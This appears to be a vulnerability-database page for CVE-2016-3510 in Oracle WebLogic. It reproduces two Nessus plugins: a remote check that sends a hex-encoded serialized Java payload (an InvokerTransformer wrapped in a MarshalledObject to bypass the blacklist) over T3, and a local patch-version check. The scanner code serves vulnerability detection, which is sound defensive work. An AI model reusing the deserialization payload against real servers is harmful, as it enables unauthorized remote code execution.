Vulnerabilities > CVE-2016-3510 - Remote Code Execution vulnerability in Oracle Weblogic Server 10.3.6.0.0/12.1.3.0.0/12.2.1.0.0

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(92606);
  script_version("1.14");
  script_cvs_date("Date: 2019/04/11 17:23:07");

  script_cve_id("CVE-2016-3510");
  script_bugtraq_id(92013);
  script_xref(name:"TRA", value:"TRA-2016-21");

  script_name(english:"Oracle WebLogic Server Java Object Deserialization RCE (July 2016 CPU)");
  script_summary(english:"Sends an unexpected Java object to the server.");

  script_set_attribute(attribute:"synopsis", value:
"The remote Oracle WebLogic server is affected by a remote code
execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote Oracle WebLogic Server is affected by a remote code
execution vulnerability in the WLS Core component in the readObject()
function due to improper sanitization of user-supplied input. An
unauthenticated, remote attacker can exploit this, via a crafted
object payload, to bypass the ClassFilter.class blacklist and execute
arbitrary Java code in the context of the WebLogic server.");
  script_set_attribute(attribute:"see_also", value:"https://www.tenable.com/security/research/tra-2016-21");
  # https://www.oracle.com/technetwork/security-advisory/cpujul2016-2881720.html#AppendixFMW
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?d87d8f4a");
  # https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?9c6d83db");
  script_set_attribute(attribute:"solution", value:
"Apply the appropriate patch according to the July 2016 Oracle Critical
Patch Update advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Oracle Weblogic Server Deserialization RCE - MarshalledObject');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2016/07/19");
  script_set_attribute(attribute:"patch_publication_date", value:"2016/07/19");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/07/28");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:oracle:fusion_middleware");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:oracle:weblogic_server");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Web Servers");

  script_copyright(english:"This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
 
  script_dependencies("weblogic_detect.nasl","t3_detect.nasl");
  script_require_ports("Services/t3", 7001);
  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("t3.inc");

appname = "Oracle WebLogic Server";

port = get_service(svc:'t3', default:7001, exit_on_fail:TRUE);

# Try to talk T3 to the server
sock = open_sock_tcp(port);
if (!sock) audit(AUDIT_SOCK_FAIL, port);
version = t3_connect(sock:sock, port:port);

# send ident so we can move on to login
t3_send_ident_request(sock:sock, port:port);

# send our "login request"
auth_request = '\x05\x65\x08\x00\x00\x00\x01\x00\x00\x00\x1b\x00\x00\x00\x5d\x01\x01\x00\x73\x72\x01\x78\x70\x73\x72\x02\x78\x70\x00\x00\x00\x00\x00\x00\x00\x00\x75\x72\x03\x78\x70\x00\x00\x00\x00\x78\x74\x00\x08\x77\x65\x62\x6c\x6f\x67\x69\x63\x75\x72\x04\x78\x70\x00\x00\x00\x0c\x9c\x97\x9a\x9a\x8c\x9a\x9b\xcf\xcf\x9b\x93\x9a\x74\x00\x08\x77\x65\x62\x6c\x6f\x67\x69\x63\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x10\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x56\x65\x63\x74\x6f\x72\xd9\x97\x7d\x5b\x80\x3b\xaf\x01\x03\x00\x03\x49\x00\x11\x63\x61\x70\x61\x63\x69\x74\x79\x49\x6e\x63\x72\x65\x6d\x65\x6e\x74\x49\x00\x0c\x65\x6c\x65\x6d\x65\x6e\x74\x43\x6f\x75\x6e\x74\x5b\x00\x0b\x65\x6c\x65\x6d\x65\x6e\x74\x44\x61\x74\x61\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00';
# this is an org.apache.commons.collections.functors.InvokerTransformer object stored in a
# weblogic.corba.utils.MarshalledObject. This will allow us to bypass the blacklist
auth_request += '\xac\xed\x00\x05\x73\x72\x00\x25\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x72\x62\x61\x2e\x75\x74\x69\x6c\x73\x2e\x4d\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x4f\x62\x6a\x65\x63\x74\x59\x21\x61\xd5\xf3\xd1\xdb\xb6\x02\x00\x02\x49\x00\x04\x68\x61\x73\x68\x5b\x00\x08\x6f\x62\x6a\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x70\xb6\xf7\x94\xcf\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x78\x70\x00\x00\x01\x30\xac\xed\x00\x05\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x49\x6e\x76\x6f\x6b\x65\x72\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x87\xe8\xff\x6b\x7b\x7c\xce\x38\x02\x00\x03\x5b\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x4c\x00\x0b\x69\x4d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0b\x69\x50\x61\x72\x61\x6d\x54\x79\x70\x65\x73\x74\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x78\x70\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x00\x74\x00\x0a\x67\x65\x74\x52\x75\x6e\x74\x69\x6d\x65\x75\x72\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73\x3b\xab\x16\xd7\xae\xcb\xcd\x5a\x99\x02\x00\x00\x78\x70\x00\x00\x00\x01\x76\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x79\x73\x74\x65\x6d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70';
auth_request += '\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x25\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x49\x6d\x6d\x75\x74\x61\x62\x6c\x65\x53\x65\x72\x76\x69\x63\x65\x43\x6f\x6e\x74\x65\x78\x74\xdd\xcb\xa8\x70\x63\x86\xf0\xba\x0c\x00\x00\x78\x72\x00\x29\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6d\x69\x2e\x70\x72\x6f\x76\x69\x64\x65\x72\x2e\x42\x61\x73\x69\x63\x53\x65\x72\x76\x69\x63\x65\x43\x6f\x6e\x74\x65\x78\x74\xe4\x63\x22\x36\xc5\xd4\xa7\x1e\x0c\x00\x00\x78\x70\x77\x02\x06\x00\x73\x72\x00\x26\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6d\x69\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x4d\x65\x74\x68\x6f\x64\x44\x65\x73\x63\x72\x69\x70\x74\x6f\x72\x12\x48\x5a\x82\x8a\xf7\xf6\x7b\x0c\x00\x00\x78\x70\x77\x34\x00\x2eauthenticate\x28\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x2e\x61\x63\x6c\x2eUserInfo\x3b\x29\x00\x00\x00\x1b\x78\x78\xfe\x00\xff';
send_t3(sock:sock, data:auth_request);

# read in the response to our bad login request
return_val = recv_t3(sock:sock);
close(sock);

# If we were successfully able to get the ConstantTransformer deserialized
# (which means we evaded the blacklist and ACC 3.1 is installed which means
# we could achieve RCE) then we should see this very specific exception:
if (isnull(return_val) ||
  "InvokerTransformer cannot be cast to weblogic.rjvm.ClassTableEntry" >!< return_val)
  audit(AUDIT_INST_VER_NOT_VULN, appname, version);

report =
  '\nNessus was able to exploit a Java deserialization vulnerability by' +
  '\nsending a crafted Java object.' +
  '\n';
security_report_v4(port:port, severity:SECURITY_HOLE, extra:report);

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(92460);
  script_version("1.8");
  script_cvs_date("Date: 2019/04/05 15:04:42");

  script_cve_id(
    "CVE-2016-3445",
    "CVE-2016-3499",
    "CVE-2016-3510",
    "CVE-2016-3586"
  );
  script_bugtraq_id(
    92003,
    92013,
    92016,
    92019
  );
  script_xref(name:"TRA", value:"TRA-2016-21");

  script_name(english:"Oracle WebLogic Server Multiple Vulnerabilities (July 2016 CPU)");
  script_summary(english:"Checks for the patch.");

  script_set_attribute(attribute:"synopsis", value:
"An application server installed on the remote host is affected by
multiple vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The version of Oracle WebLogic Server installed on the remote host is
affected by multiple vulnerabilities :

  - An unspecified flaw exists in the Web Container
    subcomponent that allows an unauthenticated, remote
    attacker to cause a denial of service condition.
    (CVE-2016-3445)

  - An unspecified flaw exists in the Web Container
    subcomponent that allows an unauthenticated, remote
    attacker to execute arbitrary code. (CVE-2016-3499)

  - A remote code execution vulnerability exists in the WLS
    Core component due to unsafe deserialize calls to the
    weblogic.corba.utils.MarshallObject object. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted request, to execute arbitrary code.
    (CVE-2016-3510)

  - An unspecified flaw exists in the WLS Core component
    that allows an unauthenticated, remote attacker to
    execute arbitrary code. (CVE-2016-3586)");
  # http://www.oracle.com/technetwork/security-advisory/cpujul2016-2881720.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?453b5f8c");
  script_set_attribute(attribute:"see_also", value:"https://www.tenable.com/security/research/tra-2016-21");
  script_set_attribute(attribute:"solution", value:
"Apply the appropriate patch according to the July 2016 Oracle Critical
Patch Update advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:X");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Oracle Weblogic Server Deserialization RCE - MarshalledObject');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2016/07/19");
  script_set_attribute(attribute:"patch_publication_date", value:"2016/07/19");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/07/20");

  script_set_attribute(attribute:"agent", value:"all");
  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:oracle:fusion_middleware");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:oracle:weblogic_server");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2016-2019 Tenable Network Security, Inc.");

  script_dependencies("oracle_weblogic_server_installed.nbin");
  script_require_keys("installed_sw/Oracle WebLogic Server");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("install_func.inc");

app_name = "Oracle WebLogic Server";

install = get_single_install(app_name:app_name, exit_if_unknown_ver:TRUE);
ohome = install["Oracle Home"];
subdir = install["path"];
version = install["version"];

fix = NULL;
fix_ver = NULL;

# individual security patches
if (version =~ "^10\.3\.6\.")
{
  fix_ver = "10.3.6.0.160719";
  fix = "23094342";
}
else if (version =~ "^12\.1\.3\.")
{
  fix_ver = "12.1.3.0.160719";
  fix = "23094292";
}
else if (version =~ "^12\.2\.1\.")
{
  fix_ver = "12.2.1.0.160719";
  fix = "23094285";
}

if (!isnull(fix_ver) && ver_compare(ver:version, fix:fix_ver, strict:FALSE) == -1)
{
  port = 0;
  report =
    '\n  Oracle home    : ' + ohome +
    '\n  Install path   : ' + subdir +
    '\n  Version        : ' + version +
    '\n  Required patch : ' + fix +
    '\n';
  security_report_v4(extra:report, port:port, severity:SECURITY_HOLE);
}
else audit(AUDIT_INST_PATH_NOT_VULN, app_name, version, subdir);